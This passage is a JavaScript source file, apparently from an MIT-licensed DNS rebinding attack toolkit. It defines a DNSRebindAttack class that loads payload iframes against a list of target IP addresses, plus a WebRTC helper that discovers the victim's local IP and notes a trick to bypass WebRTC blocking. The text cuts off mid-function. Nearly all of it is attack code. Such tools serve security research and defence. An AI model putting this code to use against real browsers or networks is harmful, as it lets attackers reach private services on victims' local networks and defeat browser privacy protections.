// The MIT License (MIT) // // Copyright (c) 2018 Brannon Dorsey // (DNSRebind.getLocalIPAddress(...) function) Copyright (c) 2015 Daniel Roesler // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in all // copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. // this class emits the following events: // - iframe-added // - iframe-removed // - all-iframes-added class DNSRebindAttack extends EventEmitter { constructor(domain, port) { super() this.domain = domain this.port = port // this event emitter should be interface with via DNSRebind.nodes#on this.nodes = new EventEmitter() this.host2ip = new Map() const receiveAttackerMessage = this._receiveAttackerMessage.bind(this) window.addEventListener('message', receiveAttackerMessage, false) } attack(ips, firstIp='127.0.0.1', payload='payload.html', interval=250) { let timeout = 0 ips.forEach(ip => { setTimeout(() => this._loadIframe(firstIp, ip, this.domain, this.port, payload), timeout += interval) }) setTimeout(() => this.emit('all-iframes-added'), timeout) } static getLocalIPAddress() { return new Promise((resolve, reject) => { //get the IP addresses associated with an account const ipDups = {} //compatibility for firefox and chrome let RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection; let useWebKit = !!window.webkitRTCPeerConnection //bypass naive webrtc blocking using an iframe if(!RTCPeerConnection){ //NOTE: you need to have an iframe in the page right above the script tag // // //